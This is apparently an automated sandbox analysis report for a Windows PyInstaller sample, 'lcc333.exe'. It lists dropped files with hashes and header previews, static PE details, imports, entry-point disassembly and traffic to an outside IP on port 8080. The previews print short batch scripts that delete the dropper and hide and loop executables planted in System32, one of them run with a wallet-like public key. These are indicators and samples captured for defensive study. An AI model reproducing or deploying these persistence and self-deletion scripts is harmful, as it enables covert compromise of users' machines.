SHA1:	DB16C09FDC1722631A7A9C465BFE173D94EB5D8B
SHA-256:	4107B1D6F11D842074A9F21323290BBE97E8EED4AA778FBC348EE09CC4FA4637
SHA-512:	7371407D12E632FC8FB031393838D36E6A1FE1E978CED36FF750D84E183CDE6DD20F75074F4597742C9F8D6F87AF12794C589D596A81B920C6C62EE2BA2E5654
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..r...r...r......r...s...r...s...r...w...r...v..r...q...r.#.s...r...s...r..8z...r..8r...r..8....r..8p...r.Rich..r.........................PE..d....jAe.........." ...%.:...........<.......................................0............`.........................................@...d.......................(............ ......P...................................@............P...............................text....8.......:.................. ..`.rdata...W...P...X...>..............@..@.data...8=.......0..................@....pdata..(...........................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI6122\libcrypto-3.dll

Download File

Process:	C:\Users\user\Desktop\lcc333.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5232408
Entropy (8bit):	5.940072183736028
Encrypted:	false
SSDEEP:	98304:/V+Qs2NuR5YV0L8PQ1CPwDvt3uFlDC4SC9c:9rs2NuDYV0L841CPwDvt3uFlDC4SCa
MD5:	123AD0908C76CCBA4789C084F7A6B8D0
SHA1:	86DE58289C8200ED8C1FC51D5F00E38E32C1AAD5
SHA-256:	4E5D5D20D6D31E72AB341C81E97B89E514326C4C861B48638243BDF0918CFA43
SHA-512:	80FAE0533BA9A2F5FA7806E86F0DB8B6AAB32620DDE33B70A3596938B529F3822856DE75BDDB1B06721F8556EC139D784BC0BB9C8DA0D391DF2C20A80D33CB04
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........._~.._~.._~..V.S.M~.....]~.....[~.....W~.....S~.._~...~......T~..J....~..J...7}..J...^~..J.?.^~..J...^~..Rich_~..........................PE..d......f.........." ...(..7..<......v........................................0P.......O...`...........................................H.0.....O.@....@O.\|.... L. .....O../...PO.$...`{D.8............................yD.@.............O..............................text.....7.......7................. ..`.rdata........7.......7.............@..@.data...Ao....K..<....K.............@....pdata....... L.......K.............@..@.idata...%....O..&....N.............@..@.00cfg..u....0O.......N.............@..@.rsrc...\|....@O.......N.............@..@.reloc..~....PO.......N.............@..B................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI6122\libssl-3.dll

Download File

Process:	C:\Users\user\Desktop\lcc333.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	792856
Entropy (8bit):	5.57949182561317
Encrypted:	false
SSDEEP:	12288:7LN1sdyIzHHZp5c3nlUa6lxzAG11rbmFe9Xbv:7LgfzH5I3nlUa2AU2Fe9Xbv
MD5:	4FF168AAA6A1D68E7957175C8513F3A2
SHA1:	782F886709FEBC8C7CEBCEC4D92C66C4D5DBCF57
SHA-256:	2E4D35B681A172D3298CAF7DC670451BE7A8BA27C26446EFC67470742497A950
SHA-512:	C372B759B8C7817F2CBB78ECCC5A42FA80BDD8D549965BD925A97C3EEBDCE0335FBFEC3995430064DEAD0F4DB68EBB0134EB686A0BE195630C49F84B468113E3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l.>..\|m..\|m..\|m.u.m..\|m+.}l..\|m.u}l..\|m+..l..\|m+.xl..\|m+.yl..\|m..}l..\|m..}m..\|m..xl..\|m..\|l..\|m...m..\|m..~l..\|mRich..\|m................PE..d......f.........." ...(.>..........K........................................0......!+....`..........................................x...Q..............s.... ...M......./......d...p...8...............................@............................................text....<.......>.................. ..`.rdata..hz...P...\|...B..............@..@.data...qN.......H..................@....pdata..pV... ...X..................@..@.idata...c.......d...^..............@..@.00cfg..u...........................@..@.rsrc...s...........................@..@.reloc..C...........................@..B........................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI6122\python312.dll

Download File

Process:	C:\Users\user\Desktop\lcc333.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6927640
Entropy (8bit):	5.765552513907485
Encrypted:	false
SSDEEP:	49152:mRSn173WIgXqQYRn0I+gaYFD0iRpIrCMEGXgeieBwHTuJTA8LbLH7ft4OCLj8j4V:mIn8hYEgw8Ij887GlSvBHDMiEruuln
MD5:	166CC2F997CBA5FC011820E6B46E8EA7
SHA1:	D6179213AFEA084F02566EA190202C752286CA1F
SHA-256:	C045B57348C21F5F810BAE60654AE39490846B487378E917595F1F95438F9546
SHA-512:	49D9D4DF3D7EF5737E947A56E48505A2212E05FDBCD7B83D689639728639B7FD3BE39506D7CFCB7563576EBEE879FD305370FDB203909ED9B522B894DD87AACB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........D..Z%..Z%..Z%......X%....e.T%......^%......R%......W%..S]..@%...]..Q%..Z%..$..O....%..O...[%..O.g.[%..O...[%..RichZ%..........PE..d...=b.f.........." ...(..(..4B..... .........................................j......[j...`..........................................cN.d...$1O.......i......._.xI....i../... i.([....2.T.....................H.(...p.2.@............ (..............................text.....(.......(................. ..`.rdata...6'.. (..8'...(.............@..@.data....I...`O......HO.............@....pdata..xI...._..J....^.............@..@PyRuntim0.....b.......a.............@....rsrc.........i...... h.............@..@.reloc..([... i..\...h.............@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI6122\select.pyd

Download File

Process:	C:\Users\user\Desktop\lcc333.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	31000
Entropy (8bit):	6.556986708902353
Encrypted:	false
SSDEEP:	384:IyRVBC9t6Lhz64CHf2slDT90Y5IMQGCHQIYiSy1pCQFm/AM+o/8E9VF0Ny/r5n+/:LGyKHfx1H5IMQGY5YiSyv4AMxkEFNnq
MD5:	7C14C7BC02E47D5C8158383CB7E14124
SHA1:	5EE9E5968E7B5CE9E4C53A303DAC9FC8FAF98DF3
SHA-256:	00BD8BB6DEC8C291EC14C8DDFB2209D85F96DB02C7A3C39903803384FF3A65E5
SHA-512:	AF70CBDD882B923013CB47545633B1147CE45C547B8202D7555043CFA77C1DEEE8A51A2BC5F93DB4E3B9CBF7818F625CA8E3B367BFFC534E26D35F475351A77C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........t..'..'..'..g'..'-..&..'-..&..'-..&..'-..&..'...&..'..'...'...&..'...&..'...&..'...'..'...&..'Rich..'................PE..d...`b.f.........." ...(.....2.......................................................o....`..........................................@..L...<A..x....p.......`.......J.../......L....3..T............................2..@............0...............................text............................... ..`.rdata.......0......................@..@.data...`....P.......8..............@....pdata.......`.......:..............@..@.rsrc........p.......>..............@..@.reloc..L............H..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI6122\unicodedata.pyd

Download File

Process:	C:\Users\user\Desktop\lcc333.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1138456
Entropy (8bit):	5.4620027688967845
Encrypted:	false
SSDEEP:	12288:arEHdcM6hbuCjJ43w9hIpCQvb0QN8MdIEQ+U2BNNmD+99FfcAIU:arEXDCjfk7bPNfv42BN6yzUAIU
MD5:	A8ED52A66731E78B89D3C6C6889C485D
SHA1:	781E5275695ACE4A5C3AD4F2874B5E375B521638
SHA-256:	BF669344D1B1C607D10304BE47D2A2FB572E043109181E2C5C1038485AF0C3D7
SHA-512:	1C131911F120A4287EBF596C52DE047309E3BE6D99BC18555BD309A27E057CC895A018376AA134DF1DC13569F47C97C1A6E8872ACEDFA06930BBF2B175AF9017
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#.}.#.}.#.}...%.}..\|.!.}..~. .}..y.+.}..x...}.6-\|. .}.h.\|.!.}.#.\|.s.}.6-p.".}.6-}.".}.6-..".}.6-..".}.Rich#.}.........PE..d...`b.f.........." ...(.@..........0.......................................p.......)....`.........................................p...X............P.......@.......0.../...`......P^..T............................]..@............P..p............................text...!>.......@.................. ..`.rdata..\....P.......D..............@..@.data........ ......................@....pdata.......@......................@..@.rsrc........P.......$..............@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................

C:\Users\user\Desktop\lcc333.bat

Download File

Process:	C:\Users\user\Desktop\lcc333.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	79
Entropy (8bit):	4.750248394339121
Encrypted:	false
SSDEEP:	3:mKDDCMN2RqhOUWJRWJGGWObBkcVS:hWK2HNJAIGVbKkS
MD5:	B0A1EBC006E80E8C857D05467731C16C
SHA1:	656B28AF24B97CA38A0C497F8B8E6D38577B314F
SHA-256:	3AB4ABC631C51FE064F12117B0D58DA7108B4F41B618E2408BA9A75CEFFC71D9
SHA-512:	F43E5C9D021DFD432DCD84331FEAEA43CDC51A0BC01EE92F876E96F0C6C152ED41CA22BBF210B7BB6AF797FAD1A5CA63187FF753F9952E7E61BAA33C65FEBCB4
Malicious:	false
Preview:	@echo off..timeout /t 5..del "C:\Users\user\Desktop\lcc333.exe"..del "%~f0"..

C:\Users\user\Desktop\windows2.zip

Download File

Process:	C:\Users\user\Desktop\lcc333.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	22077297
Entropy (8bit):	7.999395251356258
Encrypted:	true
SSDEEP:	393216:duZO0FKS4Kk6xL+IhROEBWbzQfuDWUo26mybPQg4WmmIR1q6S3p1oyR6E6slwd6B:v0H4N6N+QOZzQ2DHCrQg4WBGkXFlwd6B
MD5:	3CAF7E3D5E3AA6EC2E50E51025B5DAA2
SHA1:	51A0572CBF67D0A503278423F646342D1662A5F9
SHA-256:	08E791255D066C2513F8A53FA27FC367CAE8A663BDCA07EC667E2848A255AD9B
SHA-512:	3DAF383C4DDAB792700DFD41DDE686FA63536C61EAC34E5398A200C25F22B4F86691234E0639D20A86CA2D820C98E0246273370D2FE8DC08EBAB54183C18DAA2
Malicious:	false
Preview:	PK.........HqYa..............python.batU....0.Ew...K.7Dps ..&...0.A[l.bi...b.\oN.{F....(.)cF.L..."-.........w.`.\...0.}'...5.c...J.l.+.GQ.4?...Y^X.e.F.............el').R......./.I..Qp7.....PK.........%nYiX.bs.....\.....app_process.exe...\|SU.8.....ZN.Ey...`...M..R(.@Q..X..H.D:.PHRz.......p.a...... B.->..PF-.zb\|.PhA.o......w..............k.]\|.rA'.......B.@.l.?........G....F....S.g..;....\|....7.m....\.}.{.3;&.d..Yw....e.u..C.=.Q.........S....K.....w...%w....;..K...\s.[..........<.~o....HS.ZR$..j........B...O.p.!.o..i..-...M.F..Y+.).....3i..?.P.X.H.9.=.Q........M..MHX>S.u3..Ra`.s_...m@)...H(I;..#.wU..o.....].\.,.e#...}. l..?.)\.~.....m$.......X.....7w/.4...\|TCc].~.{...k..;..;.0..^:.{........o....,.&.%.~.C.....)p.I.?*..G...+...Y#.P..g....."....`?......d.>....H..&..\|.....H...?;.W$.i.....$6L.....W.J.....a.....P.H~......A.&r.....d../c.6V...CN.+.....V.7.R......L.1.6....&.l.........{s.+.9...?...0n.?.<...k...N.v....I~O...7[%.fA.=..I.qVW`~.+.

C:\Windows\System32\AutoDesk.exe

Download File

Process:	C:\Users\user\Desktop\lcc333.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	21075456
Entropy (8bit):	7.829861015365243
Encrypted:	false
SSDEEP:	393216:qpVCpUZDaws+mjNO9i7Goq2aEwVrC0AqmYT9lL9VnTVQj:qpVMUdawYNOY7XwRC0AqtT9lJVTVQ
MD5:	684CBE7FDADD9BE38FBFE427040B2637
SHA1:	8BB3800B269FDCD0B3F0ED1CEDE561F623B39D83
SHA-256:	7086CA50F3973B207786C2C1079FCBD2A6A2A531AF2772FD7893A300DD479E0F
SHA-512:	FF302DAF47D795A6BB630C0BE6F0059906CCF33AD4D7CD49EB158BC5C13598541543C94F9CAB585A772DEBCBAD53DDD091772A9A0076B88B18A9C9ABE5BEF216
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......g.........."....%......"................@..........................................`.........................................8.......P...................................................................(.......@............0...............................text...k........................... ..`.rdata.. ...........................@..@.data...............................@....pdata..@...........................@..@__nv_mod............................@...__nv_rel.?6.........................@..@.nvFatBix.....Q.....................@..@.nv_fatb.....Q.....................@..@.`[w.....Z....5..................... ..`.[dL.....-...0......................@....\|q6....`^A..`...`A..2..............`..h.rsrc.................A.............@..@.reloc................A.............@..B........................................................................................

C:\Windows\System32\app_process.exe

Download File

Process:	C:\Users\user\Desktop\lcc333.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6063616
Entropy (8bit):	6.536463231938141
Encrypted:	false
SSDEEP:	98304:tel0MlllPjYjkI009qjZHnYjD7y0t3hst3e5++:Al0Mh0sYjPy0Tg
MD5:	7226BE407EFCC671016739CAD3D26220
SHA1:	2894A803178A95409BF5227B81EE113198BBEA70
SHA-256:	91F900264FB9E3EC53778DE6FE76D0CEA56176F4C2DB2D1130837A4CCD06E084
SHA-512:	A7E0B08FD134FFF02536CEBF52CAD223B55DB36912D581D247B699FA35D417D2C6322428E58B3F79CFC2065569204CCB8730FA19C584BC86C572E4F5D018F1D9
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........1..b..b..b...b..b.Z.c..b.Z.c..b.Z.c..b.Z.c..b..b..b.[.c..b..b..b.[.c..bRich..b........PE..d.....5g.........."....)..D.........\|.C........@.............................._...........`.................................................4.Z...............^..............._.dZ....X.......................X.(.....X.@.............E.P............................text.....D.......D................. ..`.rdata...4....E..6....D.............@..@.data........@Z..\|....Z.............@....pdata........^.......Z.............@..@.reloc..dZ...._..\...*\.............@..B................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\nircmd.exe

Download File

Process:	C:\Users\user\Desktop\lcc333.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	119808
Entropy (8bit):	6.207959191525698
Encrypted:	false
SSDEEP:	3072:oG0tOQJC9TPafQy26RAA3hh5Tgr559MJZpOSDUDyjHHKHlLz1Ms/b:2OQJC9uICA11l1MYb
MD5:	4A9DA765FD91E80DECFD2C9FE221E842
SHA1:	6F763FBD2B37B2CE76A8E874B05A8075F48D1171
SHA-256:	2E81E048AB419FDC6E5F4336A951BD282ED6B740048DC38D7673678EE3490CDA
SHA-512:	4716E598E4B930A0EC89F4D826AFAA3DADE22CF002111340BC253A618231E88F2F5247F918F993ED15B8CE0E3A97D6838C12B17616913E48334EE9B713C1957A
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NirCmd, Description: Yara detected NirCmd tool, Source: C:\Windows\System32\nircmd.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............c.X.c.X.c.X...X.c.X...X.c.X...X.c.X...X.c.X...X.c.X...X.c.X.c.X.b.X...X.c.X...X.c.X...X.c.XRich.c.X........................PE..d.....'f..........#......R...~......P\.........@....................................;...................................................................8............................w...............................................p..X............................text...#P.......R.................. ..`.rdata...^...p...`...V..............@..@.data...............................@....pdata..............................@..@.rsrc...8...........................@..@........................................................................................................................................................................................................................................................................................

C:\Windows\System32\play.bat

Download File

Process:	C:\Users\user\Desktop\lcc333.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	163
Entropy (8bit):	4.670779724935605
Encrypted:	false
SSDEEP:	3:mKDD6rNWvgCvL6NWvgCvRK2Rp/hNviAnW+ybgLgXns1z:hWtCviCvE2v/DKAW10Wn8z
MD5:	646CD5E35BB6CF2A620A7E594722A8B0
SHA1:	920BC21D5F3FB04342A4424C3CF50FF2C1F937FB
SHA-256:	3005A8A0AF8A9BFEB184670F2910FBE4B4D183A0F4F2F933C4659C70DD79BB53
SHA-512:	79FE176BBC0D36DB5E065FBA080E1B3F95BDF36E8B0095A4161CB034F4C3DB9EEB845011AFFE42B6EC8EC0582604A89C116AEC7615315ABA3754D38804245C4F
Malicious:	false
Preview:	@echo off..:loop..nircmd exec hide "app_process.exe"..nircmd exec hide "app_process.exe"..timeout /t 600 >nul..taskkill /f /im app_process.exe >nul 2>&1..goto loop

C:\Windows\System32\python.bat

Download File

Process:	C:\Users\user\Desktop\lcc333.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	181
Entropy (8bit):	5.297300378946428
Encrypted:	false
SSDEEP:	3:mKDD6oTsKhAWeDn00hxZIiSQmzpnhAXN9RK2Ru/RviAnWeVRXns1Evn:hWYan00HHSQmtWXNzK2qRKAW6n8G
MD5:	206F998CD5F8D6FD35ED6C487480145D
SHA1:	09B36B86387A42173ED061D7287AADAC90ADFF87
SHA-256:	44FA9DE617C314B79B84428A8B6E53206070BBCB1D1FB68126E3C758684027F7
SHA-512:	9FDB5EF78EFB09EDB38419B6F179AE0D2CE19E373335859718DCD1E5E50F050BA4DC4FA2C2EF27A2175880424DBBE7C56BC431434E5EA9F0CA802B330C016B6E
Malicious:	false
Preview:	@echo off..:loop..start /min "" cmd /c "AutoDesk.exe --pubkey BQQYZKHfNhmUrdU2UhwZzWdVpiVzdBCa3qLerhDrcbAs"..timeout /t 120 >nul..taskkill /f /im AutoDesk.exe >nul 2>&1..goto loop..

\Device\Null

Download File

Process:	C:\Windows\System32\timeout.exe
File Type:	ASCII text, with CRLF line terminators, with overstriking
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.41440934524794
Encrypted:	false
SSDEEP:	3:hYFLKAR+mQRKVxLZttS:hYFLMaNZ6
MD5:	9B5BC08EF53C0087BAFF1B374B7B15EA
SHA1:	D78A75DC8DC7BF0065B74B891C8E63B9F17C2EEE
SHA-256:	453A368AEFAD7831978F2E3249CD31F25E619872DFCD7A3298067B478A377E3B
SHA-512:	2FE8E532D935A21749DD136ADE868CB21DA89D8A0BEF6BF473529A07478CE8CFA8E7089F66736A6F87E4C02B14B83F8AC3B9854069557B3019A0E0447542D10B
Malicious:	false
Preview:	..Waiting for 600 seconds, press a key to continue ......599

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.992106654803597
TrID:	Win64 Executable GUI (202006/5) 77.37% InstallShield setup (43055/19) 16.49% Win64 Executable (generic) (12005/4) 4.60% Generic Win/DOS Executable (2004/3) 0.77% DOS Executable Generic (2002/1) 0.77%
File name:	lcc333.exe
File size:	8'547'394 bytes
MD5:	a236cdec4dd41fb49c3b5afc64b6f878
SHA1:	0ab0f158a5034f2a21f387e5c57d3b2cf667c720
SHA256:	015338b4f158c874c7b2bb20e1bb8f465d5679037efe5a21ba2c06cb6dc07a4d
SHA512:	c89366e7d32e977810483113bd7f89d94197d697fd94dc9dfa3771c87a124ae0dfd40428dad01fc400518bef2f16bf7714a2e016b2b062b14df3df1c0e027d82
SSDEEP:	196608:fbCOwVEo+2XMCHGLLc54i1wN+4jXx5nDasqWQ2dTNUGqlS+iITxemA60x:zCVVEb2XMCHWUjQjx5WsqWxTwDT8iA
TLSH:	7486335553E04CE5F8F7443D98A6945ABA72F8570764CA9F939C12E20E332D0BE7CB22
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Zpc.Zpc.Zpc...`.]pc...f..pc...g.Ppc.....Ypc...`.Spc...g.Kpc...f.rpc...b.Qpc.Zpb..pc.O.g.Cpc.O.a.[pc.RichZpc.........PE..d..

File Icon


Icon Hash:	4a464cd47461e179

Static PE Info

General

Entrypoint:	0x14000cdb0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x67394460 [Sun Nov 17 01:18:24 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	72c4e339b7af8ab1ed2eb3821c98713a

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F8C50CF44ACh
dec eax
add esp, 28h
jmp 00007F8C50CF40CFh
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
dec eax
sub esp, 28h
call 00007F8C50CF4878h
test eax, eax
je 00007F8C50CF4273h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ecx, dword ptr [eax+08h]
jmp 00007F8C50CF4257h
dec eax
cmp ecx, eax
je 00007F8C50CF4266h
xor eax, eax
dec eax
cmpxchg dword ptr [0003577Ch], ecx
jne 00007F8C50CF4240h
xor al, al
dec eax
add esp, 28h
ret
mov al, 01h
jmp 00007F8C50CF4249h
int3
int3
int3
dec eax
sub esp, 28h
test ecx, ecx
jne 00007F8C50CF4259h
mov byte ptr [00035765h], 00000001h
call 00007F8C50CF39A5h
call 00007F8C50CF4C90h
test al, al
jne 00007F8C50CF4256h
xor al, al
jmp 00007F8C50CF4266h
call 00007F8C50D017AFh
test al, al
jne 00007F8C50CF425Bh
xor ecx, ecx
call 00007F8C50CF4CA0h
jmp 00007F8C50CF423Ch
mov al, 01h
dec eax
add esp, 28h
ret
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
cmp byte ptr [0003572Ch], 00000000h
mov ebx, ecx
jne 00007F8C50CF42B9h
cmp ecx, 01h
jnbe 00007F8C50CF42BCh
call 00007F8C50CF47EEh
test eax, eax
je 00007F8C50CF427Ah
test ebx, ebx
jne 00007F8C50CF4276h
dec eax
lea ecx, dword ptr [00035716h]
call 00007F8C50D015A2h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3ca5c	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x47000	0xf41c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x44000	0x2250	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x57000	0x764	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3a080	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x39f40	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2b000	0x4a0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x29f00	0x2a000	a6c3b829cc8eaabb1a474c227e90407f	False	0.5514206659226191	data	6.487493643901088	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2b000	0x12a50	0x12c00	710a02610520a5943746947c566dd7f3	False	0.5245182291666667	data	5.752797715215106	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3e000	0x53f8	0xe00	dba0caeecab624a0ccc0d577241601d1	False	0.134765625	data	1.8392217063172436	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x44000	0x2250	0x2400	181312260a85d10a1454ba38901c499b	False	0.4705946180555556	data	5.290347578351011	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x47000	0xf41c	0xf600	455788c285fcfdcb4008bc77e762818a	False	0.803099593495935	data	7.5549760623589695	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x57000	0x764	0x800	816c68eeb419ee2c08656c31c06a0fff	False	0.5576171875	data	5.2809528666624175	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x47208	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	0.585820895522388
RT_ICON	0x480b0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	0.7360108303249098
RT_ICON	0x48958	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	0.755057803468208
RT_ICON	0x48ec0	0x952c	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9975384937676757
RT_ICON	0x523ec	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	0.3887966804979253
RT_ICON	0x54994	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	0.49530956848030017
RT_ICON	0x55a3c	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	0.7207446808510638
RT_GROUP_ICON	0x55ea4	0x68	data	0.7019230769230769
RT_MANIFEST	0x55f0c	0x50d	XML 1.0 document, ASCII text	0.4694508894044857

Imports

DLL	Import
USER32.dll	CreateWindowExW, ShutdownBlockReasonCreate, MsgWaitForMultipleObjects, ShowWindow, DestroyWindow, RegisterClassW, DefWindowProcW, PeekMessageW, DispatchMessageW, TranslateMessage, PostMessageW, GetMessageW, MessageBoxW, MessageBoxA, SystemParametersInfoW, DestroyIcon, SetWindowLongPtrW, GetWindowLongPtrW, GetClientRect, InvalidateRect, ReleaseDC, GetDC, DrawTextW, GetDialogBaseUnits, EndDialog, DialogBoxIndirectParamW, MoveWindow, SendMessageW
COMCTL32.dll
KERNEL32.dll	GetACP, IsValidCodePage, GetStringTypeW, GetFileAttributesExW, SetEnvironmentVariableW, FlushFileBuffers, GetCurrentDirectoryW, LCMapStringW, CompareStringW, FlsFree, GetOEMCP, GetCPInfo, GetModuleHandleW, MulDiv, FormatMessageW, GetLastError, GetModuleFileNameW, LoadLibraryExW, SetDllDirectoryW, CreateSymbolicLinkW, GetProcAddress, GetEnvironmentStringsW, GetCommandLineW, GetEnvironmentVariableW, ExpandEnvironmentStringsW, DeleteFileW, FindClose, FindFirstFileW, FindNextFileW, GetDriveTypeW, RemoveDirectoryW, GetTempPathW, CloseHandle, QueryPerformanceCounter, QueryPerformanceFrequency, WaitForSingleObject, Sleep, GetCurrentProcess, TerminateProcess, GetExitCodeProcess, CreateProcessW, GetStartupInfoW, FreeLibrary, LocalFree, SetConsoleCtrlHandler, K32EnumProcessModules, K32GetModuleFileNameExW, CreateFileW, FindFirstFileExW, GetFinalPathNameByHandleW, MultiByteToWideChar, WideCharToMultiByte, FlsSetValue, FreeEnvironmentStringsW, GetProcessHeap, GetTimeZoneInformation, HeapSize, HeapReAlloc, WriteConsoleW, SetEndOfFile, CreateDirectoryW, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsProcessorFeaturePresent, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, RtlUnwindEx, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, RaiseException, RtlPcToFileHeader, GetCommandLineA, GetFileInformationByHandle, GetFileType, PeekNamedPipe, SystemTimeToTzSpecificLocalTime, FileTimeToSystemTime, ReadFile, GetFullPathNameW, SetStdHandle, GetStdHandle, WriteFile, ExitProcess, GetModuleHandleExW, HeapFree, GetConsoleMode, ReadConsoleW, SetFilePointerEx, GetConsoleOutputCP, GetFileSizeEx, HeapAlloc, FlsAlloc, FlsGetValue
ADVAPI32.dll	OpenProcessToken, GetTokenInformation, ConvertStringSecurityDescriptorToSecurityDescriptorW, ConvertSidToStringSidW
GDI32.dll	SelectObject, DeleteObject, CreateFontIndirectW

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2024 11:10:15.445146084 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:15.565165997 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:15.565269947 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:15.565526962 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:15.684988022 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.086344957 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:17.086384058 CET	8080	49705	43.199.41.35	192.168.2.5
